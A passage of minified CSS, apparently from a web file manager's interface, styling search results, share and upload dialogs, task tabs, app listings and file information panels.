15px;cursor:default;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}.do_search .search_result .file-item .result-item .result-info:hover{background:#eee;}.do_search .search_result .file-item .result-item .result-info.this,.do_search .search_result .file-item .result-item .result-info.this:hover{background:#63acff;}.do_search .search_result .file-item .result-item .result-info.this .line,.do_search .search_result .file-item .result-item .result-info.this .search-info,.do_search .search_result .file-item .result-item .result-info.this:hover .line,.do_search .search_result .file-item .result-item .result-info.this:hover .search-info{color:#fff;}.do_search .search_result .file-item .result-item .line{display:inline-block;width:32px;margin-left:7px;padding-right:4px;text-align:right;font-weight:800;color:#aaa;}.do_search .search_result .file-item .result-item .search-info{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;color:#444;}.do_search .search_result .file-item.open .file-info .switch .icon-caret-right:before{content:"\f0d7";}#maskViewContent .upload-tips{text-align:center;}#maskViewContent .upload-tips .icon-cloud{opacity:0.8;}#maskViewContent .upload-tips .icon-cloud.cloud2{font-size:180px;}#maskViewContent .upload-tips .icon-cloud.cloud1,#maskViewContent .upload-tips .icon-cloud.cloud3{position:absolute;opacity:0.6;}#maskViewContent .upload-tips .icon-cloud.cloud1{margin-left:-60px;margin-top:110px;-webkit-animation:moveLeftLoop 8.0s infinite ease-in-out;animation:moveLeftLoop 8.0s infinite ease-in-out;}#maskViewContent .upload-tips .icon-cloud.cloud3{margin-left:-50px;margin-top:60px;font-size:60px;animation-delay:4s;-webkit-animation-delay:4s;-webkit-animation:moveLeftLoop 10.0s infinite ease-in-out;animation:moveLeftLoop 10.0s infinite ease-in-out;}#maskViewContent .upload-tips .cloud-moveup{height:70px;}#maskViewContent .upload-tips .cloud-moveup i{position:absolute;margin-left:-23px;margin-top:-16px;}.task_tab{position:fixed;bottom:1px;left:0;width:100%;height:30px;padding-left:50px;z-index:100;background:rgba(0,0,0,0.1);border-top:1px solid rgba(0,0,0,0.15);color:#444;}.task_tab .tabs{height:100%;margin-right:20px;margin-right:60px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.task_tab .tabs .tab{float:left;height:29px;margin-right:2px;white-space:nowrap;text-overflow:ellipsis;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;color:#fff;border-radius:3px;cursor:default;overflow:hidden;font-size:1em;box-shadow:0 0 6px #666;padding-left:4px;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.3)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.3),rgba(255,255,255,0));-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.task_tab .tabs .tab.hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.task_tab .tabs .tab.this{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 6px #000;}.tasktab-dragging{position:fixed;position:absolute;z-index:99999;height:30px;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0 0 3px #000;box-shadow:0 0 6px #000;padding-left:4px;white-space:nowrap;text-overflow:ellipsis;border-radius:3px;cursor:default;color:#fff;overflow:hidden;font-size:1em;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.8)', endColorstr='rgba(255,255,255,0.2)');background:rgba(255,255,255,0.2);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-o-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));-pie-background:linear-gradient(to top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));}.init_loading{position:fixed;left:45%;top:40%;font-size:1.25em;z-index:999999;width:auto;}.init_loading div{padding:20px;background:#000;opacity:0.6;filter:alpha(opacity=60);margin:0 auto;color:#FFF;border-radius:6px;text-align:center;line-height:30px;}.init_loading img{border-radius:10px;}.space_info_bar{width:110px;}.space_info_bar .space_process{width:110px;height:6px;overflow:hidden;background-color:#ddd;margin:0px;border-radius:5px;}.space_info_bar .space_process .space_process_use{width:20%;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;height:100%;background-color:#428bca;border-radius:5px;}.appbox{overflow:hidden;padding:0px 10px 0 0;}.appbox .appline{width:100%;margin-bottom:10px;line-height:20px;overflow:hidden;}.appbox .appline .left{float:left;width:80px;text-align:right;padding-right:14px;}.appbox .appline .right{float:left;}.appbox .appline input{margin-right:5px;}.appbox .appline label{display:inline-block;margin-left:-10px;padding:0 5px;}.appbox .appline input[type=text],.appbox .appline textarea{width:275px;padding:0px 5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:28px;border-radius:3px;}.appbox .appline input[type=text]:focus,.appbox .appline textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.appbox .appline input[type=text].w30{width:50px;}.appbox .appline input[type=text].w20{width:30px;}.appbox .appline textarea{height:100px;}.appbox .appline.icon input{width:232px;}.appbox .appline.icon a{padding:2px 4px;top:0px;border:1px solid #CCC;}.appbox .appline.icon .open{margin-left:-12px;cursor:pointer;margin-top:-4px;font-size:14px;padding:3px 1em 4px 1em;}.appbox .appline.icon a img{width:20px;height:20px;}#body div.app_list{position:absolute;left:150px;width:initial;margin:15px 0 20px 15px;right:20px;padding-bottom:60px;}#body div.app_list .app-list{margin-top:10px;border-top:1px solid #ddd;}#body div.app_list .app-list .app_li{float:left;width:150px;height:150px;border:1px solid #e6e6e6;margin:20px 20px 0 0;list-style:none;border-radius:3px;box-shadow:0 2px 7px #f0f0f0;}#body div.app_list .app-list .app_li:hover{box-shadow:0 5px 20px #ddd;}#body div.app_list .app-list .app_li a.button{margin:0;}#body div.app_list .app-list .app_li a.icon{float:left;width:100%;background:#eee;text-align:center;padding:8px 0;}#body div.app_list .app-list .app_li a.icon img{width:64px;height:64px;border-radius:10px;box-shadow:0 0 10px #999;}#body div.app_list .app-list .app_li p{width:100%;text-align:center;margin:0;color:#666;height:25px;overflow:hidden;}#body div.app_list .app-list .app_li p span{display:block;word-break:break-all;}#body div.app_list .app-list .app_li p span.title{font-size:1.15em;line-height:33px;height:33px;}#body div.app_list .app-list .app_li p span.info{display:none;}#body div.app_list .app-list .app_li .btn-group{margin:8px auto;text-align:center;display:block;}#body div.app_list .app-list .app_li .btn-group .btn-default{width:70px;}#body div.app_list .app-list .app_li .btn-group>.btn{float:none;}#body div.app_list .app-list .app_li .btn-group .btn:first-child:not(:last-child):not(.dropdown-toggle){height:17px;width:70px;height:18px\0;}#body div.app_list .app-list .app_li .btn-group .btn+.dropdown-toggle{height:17px;color:#aaa;height:18px\0;width:8px;width:25px;padding-left:0;padding-right:0;}#body div.app_list .app-list .app_li .btn-group .dropdown-menu{min-width:100px;right:15px;}.support_space_not .share_dialog .content_box .content_info{padding:30px 20px 30px 20px;}.support_space_not .system_conennt .right_frame .group_title .group_size{display:none !important;}.support_space_not .size_max_set,.support_space_not .user_setting_more_btn,.support_space_not .user_setting_more{display:none;}.support_space_not .user_list .space,.support_space_not .share_view_info,.support_space_not .user_space_info{display:none;}.support_space_not .frame-main .user_space_info{display:none;}.support_space_not .frame-main .frame-left .group_space_use{display:none;}.support_space_not .frame-main .frame-left #folderList{bottom:57px;}.dropdown-menu.menu-topbar_user{right:6px;}.version_vip{height:26px;line-height:26px;padding:0;opacity:0.7;filter:alpha(opacity=70);padding-left:25px;cursor:pointer;font-size:12px;display:block;color:#eee;background:#999;}.version_vip#version_vip_1{color:#bdeaff;background:#03a9f4;}.version_vip#version_vip_2{color:#ea9df7;background:#9c27b0;}.version_vip#version_vip_3{color:#fff;background:#ffc107;}.version_vip:hover{opacity:0.9;filter:alpha(opacity=90);text-decoration:none;}.version_license{width:250px;height:250px;overflow:hidden;position:absolute;z-index:9999;pointer-events:none;top:30px;left:0px;}.version_license a.line{position:absolute;pointer-events:all;width:300px;height:60px;line-height:60px;left:-70px;top:40px;font-size:20px;background:#ffc107;text-decoration:none;-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;text-align:center;color:#fff;opacity:0.8;filter:alpha(opacity=80);}.version_license a.line:hover{background:#ff9800;}.path_select_input{width:550px;padding:7px;background:rgba(255,255,255,0.3);border:1px solid rgba(100,100,100,0.3);color:#000;}.copyright_dialog{width:400px !important;}.copyright_dialog,.share_dialog,.check_version_dialog{min-width:400px;}.copyright_dialog.dialog-simple .aui_outer,.share_dialog.dialog-simple .aui_outer,.check_version_dialog.dialog-simple .aui_outer{overflow:inherit;box-shadow:0 0px 60px rgba(0,0,0,0.4);border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);}.copyright_dialog.dialog-simple .aui_header,.share_dialog.dialog-simple .aui_header,.check_version_dialog.dialog-simple .aui_header{background:transparent;opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_nw,.copyright_dialog.dialog-simple .aui_n,.copyright_dialog.dialog-simple .aui_ne,.copyright_dialog.dialog-simple .aui_w,.copyright_dialog.dialog-simple .aui_e,.copyright_dialog.dialog-simple .aui_sw,.copyright_dialog.dialog-simple .aui_s,.copyright_dialog.dialog-simple .aui_se,.share_dialog.dialog-simple .aui_nw,.share_dialog.dialog-simple .aui_n,.share_dialog.dialog-simple .aui_ne,.share_dialog.dialog-simple .aui_w,.share_dialog.dialog-simple .aui_e,.share_dialog.dialog-simple .aui_sw,.share_dialog.dialog-simple .aui_s,.share_dialog.dialog-simple .aui_se,.check_version_dialog.dialog-simple .aui_nw,.check_version_dialog.dialog-simple .aui_n,.check_version_dialog.dialog-simple .aui_ne,.check_version_dialog.dialog-simple .aui_w,.check_version_dialog.dialog-simple .aui_e,.check_version_dialog.dialog-simple .aui_sw,.check_version_dialog.dialog-simple .aui_s,.check_version_dialog.dialog-simple .aui_se{height:0px;width:0px;background:none;}.copyright_dialog.dialog-simple .aui_inner,.share_dialog.dialog-simple .aui_inner,.check_version_dialog.dialog-simple .aui_inner{border:none;background:none;}.copyright_dialog.dialog-simple .aui_title,.share_dialog.dialog-simple .aui_title,.check_version_dialog.dialog-simple .aui_title{opacity:0.01;filter:alpha(opacity=1);top:0px;position:absolute;width:100%;height:100%;z-index:5;}.copyright_dialog.dialog-simple .aui_min,.copyright_dialog.dialog-simple .aui_max,.share_dialog.dialog-simple .aui_min,.share_dialog.dialog-simple .aui_max,.check_version_dialog.dialog-simple .aui_min,.check_version_dialog.dialog-simple .aui_max{display:none;}.copyright_dialog.dialog-simple .aui_titleBar,.share_dialog.dialog-simple .aui_titleBar,.check_version_dialog.dialog-simple .aui_titleBar{bottom:0px;overflow:hidden;height:100px;margin-top:-120px;top:120px;border-radius:4px;}.copyright_dialog.dialog-simple .aui_close,.share_dialog.dialog-simple .aui_close,.check_version_dialog.dialog-simple .aui_close{opacity:0.6;filter:alpha(opacity=60);background:rgba(0,0,0,0.5);width:100px;height:100px;top:-50px;right:-50px;border-radius:50px;text-align:left;font-size:20px;z-index:100;padding:0;}.copyright_dialog.dialog-simple .aui_close:hover,.share_dialog.dialog-simple .aui_close:hover,.check_version_dialog.dialog-simple .aui_close:hover{opacity:0.6;filter:alpha(opacity=60);}.copyright_dialog.dialog-simple .aui_close:active,.share_dialog.dialog-simple .aui_close:active,.check_version_dialog.dialog-simple .aui_close:active{opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_close::before,.share_dialog.dialog-simple .aui_close::before,.check_version_dialog.dialog-simple .aui_close::before{padding-left:22px;line-height:140px;}.copyright_dialog .aui_footer,.share_dialog .aui_footer,.check_version_dialog .aui_footer{display:none;}.check_version_dialog .update_box{margin-top:0px;}.share_dialog .content_box .content_info .input_line .open_window,.pathinfo .input-group-btn .open_window{margin-right:-1px;border-radius:0px;}.copyright_dialog .copyright_dialog_content,.check_version_dialog .aui_content{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;width:auto;border-radius:6px;width:400px;-webkit-box-shadow:0px 10px 60px rgba(0,0,0,0.4);-moz-box-shadow:0px 10px 60px rgba(0,0,0,0.4);box-shadow:0px 10px 60px rgba(0,0,0,0.4);border:1px solid #ccc \9;padding-bottom:30px;background:#fff;background:rgba(255,255,255,0.9);}.copyright_dialog .copyright_dialog_content .title,.check_version_dialog .aui_content .title{width:100%;background:#6699cc url("../../../images/common/login.png");height:150px;padding-top:0px;border-top-left-radius:5px;border-top-right-radius:5px;}.copyright_dialog .copyright_dialog_content .title .logo,.check_version_dialog .aui_content .title .logo{text-align:center;font-size:35px;width:100%;padding-top:40px;color:#aaddff;-webkit-box-reflect:below -13px -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(255,255,255,0.2)));background-image:-webkit-linear-gradient(92deg,#FFFFFF,#14A1FF);-webkit-background-clip:text;-webkit-text-fill-color:transparent;-webkit-animation:hue 6s 100 linear;}.copyright_dialog .copyright_dialog_content .title .logo i,.check_version_dialog .aui_content .title .logo i{color:#aaddff;font-weight:400;margin-right:10px;}.copyright_dialog .copyright_dialog_content .title .info,.check_version_dialog .aui_content .title .info{text-align:right;font-size:1.15em;color:#aaddff;padding-right:14px;padding-top:30px;}.copyright_dialog .copyright_dialog_content .content,.check_version_dialog .aui_content .content{padding:20px;}.copyright_dialog .copyright_dialog_content .content p,.check_version_dialog .aui_content .content p{text-indent:2em;color:#333;margin-bottom:30px;}.copyright_dialog .copyright_dialog_content .content a,.check_version_dialog .aui_content .content a{padding-right:5px;}.copyright_dialog .copyright_dialog_content .content div,.check_version_dialog .aui_content .content div{text-align:center;padding-bottom:5px;}.check_version_dialog.dialog-simple .aui_titleBar{margin-top:-120px;}.share_dialog .content_box{-webkit-box-shadow:0 5px 30px rgba(0,0,0,0.5);-moz-box-shadow:0 5px 30px rgba(0,0,0,0.5);box-shadow:0 5px 30px rgba(0,0,0,0.5);border-radius:5px;background:#fff;border:1px solid #ccc \9;width:auto;}.share_dialog .content_box .title{width:100%;color:#fff;height:100px;border-radius:5px 5px 0 0;background:#6699cc url('../../../images/common/login.png');}.share_dialog .content_box .titleinfo{text-align:center;font-size:35px;height:60px;overflow:hidden;line-height:80px;}.share_dialog .content_box .titleinfo i{color:#dff;font-size:30px;padding-right:10px;}.share_dialog .content_box .share_view_info{width:200px;margin:0 auto;margin-top:0px;padding:1px 5px;text-align:center;border-radius:17px;background:#117eaf;background:rgba(0,0,0,0.2);opacity:0.8;filter:alpha(opacity=80);}.share_dialog .content_box .content_info{padding:10px;padding-left:20px;}.share_dialog .content_box .content_info .input_line{margin:6px 0 8px 0;}.share_dialog .content_box .content_info .input_line .input_title{display:block;width:80px;padding-top:4px;float:left;height:30px;padding-right:10px;text-align:right;}.share_dialog .content_box .content_info .input_line input[type="text"]{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:32px;line-height:30px;padding:0px 5px;width:150px;margin-right:10px;float:left;border-radius:3px;}.share_dialog .content_box .content_info .input_line input[type="text"]:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.share_dialog .content_box .content_info .input_line label{margin-top:8px;margin-right:10px;}.share_dialog .content_box .content_info .input_line label input{margin:0 5px 5px 0;}.share_dialog .content_box .content_info .input_line .desc{font-size:1em;color:#bbb;font-style:normal;padding-left:0px;}.share_dialog .content_box .content_info .input_line #share_name{width:215px;margin-right:10px;}.share_dialog .content_box .content_info .input_line .share_url{margin-right:0;border-radius:3px 0 0 3px;width:167px !important;height:33px;}.share_dialog .content_box .content_info .input_line .share_more{line-height:33px;}.share_dialog .content_box .content_info .input_line .input-group-btn{float:left;}.share_dialog .content_box .content_info .input_line .dropdown-toggle{margin-left:-5px;border-radius:0 3px 3px 0;}.share_dialog .content_box .content_info .input_line .open_window{margin-left:-12px;}.share_dialog .content_box .content_info .input_line .share_copy{width:60px;border-radius:0px;margin-left:-7px;}.share_dialog .content_box .content_info .input_line.select_path input[type="text"]{width:155px;}.share_dialog .content_box .content_info .input_line.select_path a.select_btn{margin-left:-14px;padding:5px 8px 5px;font-size:15px;border-top-left-radius:0px;border-bottom-left-radius:0px;}.share_dialog .content_box .content_info .share_others{margin:-8px 0 -8px 0;}.share_dialog .content_box .share_action{border-top:1px solid #eee;background:#f8f8f8;height:60px;border-radius:0 0 4px 4px;}.share_dialog .content_box .share_action button{float:right;margin:10px 20px 10px 0px;outline:0;}.share_dialog .content_box .share_action .share_remove_button,.share_dialog .content_box .share_action .remove_button{float:right;margin-top:18px;color:#888;margin-right:20px;font-size:14px;}.share_dialog .content_box .share_action .share_remove_button:hover,.share_dialog .content_box .share_action .remove_button:hover{color:#f30;}.fileList_icon .file{position:relative;}.fileList_icon .file .download{position:absolute;bottom:4px;margin-left:45px;opacity:0.5;filter:alpha(opacity=50);}.fileList_icon .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:30px;line-height:30px;width:30px;color:#aaa;}.fileList_list .file{position:relative;}.fileList_list .file .download{position:absolute;bottom:-2px;margin-left:45px;left:180px;z-index:99;opacity:0.5;filter:alpha(opacity=50);}.fileList_list .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:28px;line-height:28px;width:28px;color:#aaa;}.pathSelectApi .aui_footer .aui_buttons{padding:15px;}.pathSelectApi .aui_footer .label{position:absolute;right:175px;margin-top:6px;opacity:0.7;filter:alpha(opacity=70);}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{opacity:0.7;filter:alpha(opacity=70);color:#08c !important;}body div.fileContiner .file.file_not_readable,body div.fileContiner .file.file_not_readable.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_readable,body .frame-main .frame-left .ztree li a.file_not_readable.file_not_writeable{opacity:0.4;filter:alpha(opacity=40);color:#a00 !important;}.url_link input{border:1px solid #ddd;background:#fff;line-height:30px;height:30px;width:300px;margin-bottom:15px;padding:0 5px;}.aui_content .ajaxError{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;color:#f60;position:absolute;left:0px;right:0px;bottom:0px;top:40px;overflow:auto;padding:10px;}.pathinfo{font-size:1em;width:345px;min-height:300px;padding:20px 0 10px 0;color:#446;}.pathinfo .line{width:95%;margin:8px auto 8px auto;height:0px;border-bottom:1px solid #eee;}.pathinfo .download_url{padding:0px 5px;width:100%;line-height:32px;height:32px;}.pathinfo .p{margin-bottom:2px;}.pathinfo .p .icon{width:40px;height:40px;float:left;border:1px solid #f6f6f6;margin-left:10px;}.pathinfo .p input.info_chmod{padding:0px 10px;width:55px;color:#999;margin-right:10px;display:inline-block;height:25px;line-height:25px;}.pathinfo .p .title{width:80px;float:left;color:#888;text-align:right;}.pathinfo .p .content{float:left;width:235px;word-break:break-all;color:#666;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;font-size:1em;margin-left:15px;}.pathinfo .p .content.file_md5_loading{background:url("../../../images/common/loading.gif") 18px 5px no-repeat;}.pathinfo input{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;line-height:28px;padding:2px 5px;width:150px;float:left;height:28px;border-radius:3px;}.pathinfo input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.pathinfo .download_url{margin-right:0;border-radius:3px 0 0 3px;}.file_drag_upload .aui_content{overflow-y:scroll;}.fileuploadinfo,.fileupload{color:#555;font-size:1em;}.fileuploadinfo{font-size:18px;color:#5499D9;margin-bottom:8px;border-bottom:1px solid #dde;padding-bottom:6px;}.fileuploadinfo em{font-size:1em;}.fileupload{padding-left:25px;}.fileupload span.status{padding-left:10px;font-size:10px;color:#f96;}.file_list{display:none;}.movie_player_dialog{overflow:hidden;}.flash_player{width:100%;height:100%;}.wmp_player{width:0%;height:0%;}.movie_player_dialog .aui_content{background:#000;}.dialog_path_remove .aui_content{word-wrap:break-word;width:auto;}.file_upload{height:385px;padding:5px;margin-right:10px;min-width:365px;overflow:hidden;}.file_upload .top_nav{border-bottom:1px solid #ddd;margin-top:6px;}.file_upload .menu{display:block;text-decoration:none;float:left;padding:0px 15px;height:26px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee');background:#eee;background-image:-webkit-linear-gradient(top,#fff,#eee);background-image:-moz-linear-gradient(top,#fff,#eee);background-image:-o-linear-gradient(top,#fff,#eee);background-image:-ms-linear-gradient(top,#fff,#eee);background-image:linear-gradient(top,#fff,#eee);-pie-background:linear-gradient(to top,#fff,#eee);font-size:1em;border:1px solid #ccc;text-align:center;line-height:24px;margin-right:5px;margin-bottom:-1px;color:#444;border-radius:4px 4px 0 0;}.file_upload .menu.this{background:#fff;border-bottom:1px solid #fff;}.file_upload .menu:hover{background:#fff;}.file_upload .upload_box{margin-top:10px;}.file_upload .download_btn_group{margin-left:-10px;margin-top:-3px;}.file_upload .download_btn_group .download_start{border-radius:0px;}.file_upload div a.left{margin-left:10px;}.file_upload div a.right{position:absolute;right:5px;}.file_upload span.info{font-size:1em;font-style:italic;padding:0px 0 5px 10px;}.file_upload i{font-size:1em;color:#aaa;padding-left:10px;}.file_upload .list{margin:10px 15px;}.file_upload .list input{margin-left:10px;width:190px;height:22px;line-height:24px;padding:0px 3px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.file_upload .list input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload .submit input{float:right;padding:4px 20px;background:#ddd;border:none;margin-right:36px;margin-top:10px;}.file_upload .submit input:hover{background:#bbb;}.file_upload .submit input:active{background:#444;color:#fff;}.file_upload .uploader-content{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;background:url("../../../images/common/drop_upload.png") no-repeat center;}.file_upload #downloader{height:290px;border:1px solid #ddd;overflow:auto;}.file_upload .webuploader-container{position:relative;}.file_upload .webuploader-element-invisible{position:absolute !important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);}.file_upload .webuploader-pick{position:relative;display:inline-block;color:#fff;text-align:center;height:27px;line-height:27px;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);cursor:pointer;padding:0px 15px;}.file_upload .webuploader-pick-hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .upload_cert{width:24px;background:#def;height:100%;float:left;cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);height:27px;line-height:27px;position:relative;z-index:10;padding:0;border:none;margin-left:-5px;border-left:1px solid rgba(0,0,0,0.1);border-top-right-radius:3px;border-bottom-right-radius:3px;}.file_upload .upload_cert .caret{margin-top:-2px;margin-left:-1px;border-top:4px solid #fff;}.file_upload .upload_cert_box .dropdown-menu{right:inherit;top:inherit;margin-top:30px;}.file_upload .upload_cert_box .dropdown-menu:before{right:inherit;left:10px;}.file_upload .upload_cert_box .dropdown-menu:after{right:inherit;left:11px;}.file_upload .upload_cert_box.open.upload_cert,.file_upload .upload_cert_box .upload_cert:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .webuploader-pick-disable{opacity:0.6;filter:alpha(opacity=60);pointer-events:none;}.file_upload .btns{margin-bottom:10px;font-size:1em;height:28px;}.file_upload .btns .tips{float:right;line-height:30px;}.file_upload .btns #picker{float:left;}.file_upload .upload_box_tips{line-height:34px;color:#888;position:absolute;right:10px;}.file_upload .upload_box_config{box-shadow:inset 0px 1px 6px rgba(0,0,0,0.3);border-radius:2px;margin-bottom:10px;padding:4px;}.file_upload .upload_box_config .upload_check_box{margin-left:10px;}.file_upload .upload_box_config label{margin-left:15px;}.file_upload .upload_box_config label input{margin-right:5px;}.file_upload .uploader-list .item,.file_upload .download_list .item{padding:0px;height:35px;overflow:hidden;border-bottom:1px solid #ccc;background:#fefefe;}.file_upload .uploader-list .item .info,.file_upload .download_list .item .info{color:#224;line-height:35px;padding:0 5px;z-index:100;position:relative;font-size:1em;}.file_upload .uploader-list .item .info span,.file_upload .uploader-list .item .info a,.file_upload .download_list .item .info span,.file_upload .download_list .item .info a{display:block;float:left;text-overflow:ellipsis;height:30px;}.file_upload .uploader-list .item .info .title,.file_upload .download_list .item .info .title{color:#3A87AD;width:160px;overflow:hidden;font-weight:800;}.file_upload .uploader-list .item .info .size,.file_upload .download_list .item .info .size{width:45px;text-align:center;color:#3A87AD;font-size:12px;}.file_upload .uploader-list .item .info .state,.file_upload .download_list .item .info .state{width:100px;text-align:right;font-size:12px;}.file_upload .uploader-list .item .info .font-icon,.file_upload .download_list .item .info .font-icon{margin-left:12px;font-size:20px;width:20px;line-height:35px;cursor:pointer;color:#bbb;}.file_upload .uploader-list .item .info 